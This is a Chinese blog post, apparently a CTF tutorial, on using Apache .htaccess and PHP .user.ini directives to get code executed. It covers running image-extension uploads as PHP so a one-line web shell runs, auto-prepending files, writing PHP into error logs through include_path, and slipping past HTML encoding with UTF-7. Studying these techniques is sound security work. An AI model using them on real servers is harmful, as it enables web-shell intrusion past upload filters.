CTF中.htaccess的妙用

.htaccess介绍

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

环境配置

我使用的是 phpstudy集成环境(apache + php + mysql)

开启.htaccess

打开apache conf目录下的的httpd.conf,查找

  1. Options FollowSymLinks AllowOverride None

    改为 Options FollowSymLinks AllowOverride All

  2. 去掉下面语句的注释:

    LoadModule rewrite_module modules/mod_rewrite.so

用法详解

1. 修改文件解析规则

新建一个.htaccess文件,写入以下内容:

AddType application/x-httpd-php .abc

上述语句作用是将该目录下所有以.abc为后缀的文件当作 php文件解析

测试

新建test.abc,写入以下内容:

<?php echo "this is test.abc";?>

访问,成功解析为 php文件

注意

如果用的是 phpstudy集成环境,AddType application/x-httpd-php 后缀里面的 后缀只能是 apache 不认识的后缀

比如我将 .htaccess的内容改为AddType application/x-httpd-php .jpgtest.abc改为test.jpg,就不会解析为 php

但是我们换一种写法,将 .htaccess的内容改为:(注意修改路径)

AddHandler fcgid-script .jpg
FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe" .jpg

至于为什么,请参考大佬的文章:https://cloud.tencent.com/developer/article/1523311

CTF中的使用

上传.htaccess文件,内容为AddType application/x-httpd-php 后缀,然后上传合法后缀的一句话木马,这样一句话木马就能被当作 php文件执行

2. 自动包含文件

.htaccess设置php环境变量的格式 如下:

#format
php_value setting_name setting_value

#example
php_value auto_prepend_file .htaccess

#auto_prepend_file支持php伪协议
php_value auto_append_file "php://filter/convert.base64-decode/resource=xxx.php"

php_value auto_prepend_file .htaccess作用是将.htaccess require到该目录所有页面的顶部

测试

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理 。

由于 phpstudy下的apache使用的是CGI/FastCGI模式,在.htaccess中使用php_value会导致500错误,所以我这里使用.user.ini替代 .htaccess来测试,效果一样,只是写法格式有点差别。在目录下创建.user.ini文件,内容如下:

auto_prepend_file = test.jpg

( test.jpg 内容是:<?php echo "this is test.jpg";?>

重启 apache ,现在该目录所有文件都会在开头包含<?php echo "this is test.jpg";?>

访问一下 index.php

3. 利用报错信息写文件

.htaccess文件中可以自己定义错误日志,这样就可以将木马写入报错日志文件中

php_value include_path "xxx"        # 设置包含路径,include()默认路径改变为 xxx
php_value error_reporting 32767     # 报错等级,32767是报告所有可能出现的错误,确保我们可以写入木马
php_value error_log /tmp/log.php    # 报错日志文件是 /tmp/error_log.php

测试

test.php 内容如下:

<?php include(fl4g.php); ?>

.user.ini内容如下:

include_path="D:\phpstudy_pro\WWW\"
error_reporting=32767
error_log=error_log.php

我们访问test.php的时候会include(D:\phpstudy_pro\WWW\log.php),但是由于不存在该文件,所以会报错,报错信息会写入到当前目录下的error_log.php文件

写入的报错信息包含了我们在.user.ini写入的include_path="D:\phpstudy_pro\WWW\"

include_path=""改为一句话木马,include_path="<?php phpinfo(); ?>"

访问test.php,然后查看error_log.php

<?php phpinfo(); ?>被写入,只不过尖括号被 html编码了,只需绕过 html编码,即可执行木马

绕过<>

欺骗 apache使用UTF-7解析文件:

php_value zend.multibyte 1              # 启用多字节编码的源文件解析php_value zend.script_encoding "UTF-7"   # 告诉服务器文件内容为 utf-7编码,按照 utf-7来解析

这样将木马写成 utf-7编码就可以绕过 <>,而且可以被执行

用函数进行 utf-7编码:

<?php   echo mb_convert_encoding('<?php phpinfo(); ?>',"utf-7");?>

得到<?php phpinfo(); ?>的 utf-7编码为+ADw?php phpinfo()+ADs ?+AD4-

.user.ini

include_path="+ADw?php phpinfo()+ADs ?+AD4-"error_reporting=32767error_log=error_log.phpzend.multibyte=1zend.script_encoding="UTF-7"

访问test.php,查看error_log.php

访问error_log.php

成功执行 phpinfo()

参考文章:

https://www.cnblogs.com/20175211lyz/p/11741348.html

https://blog.csdn.net/weixin_30726605/article/details/116467338

https://cloud.tencent.com/developer/article/1523311


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录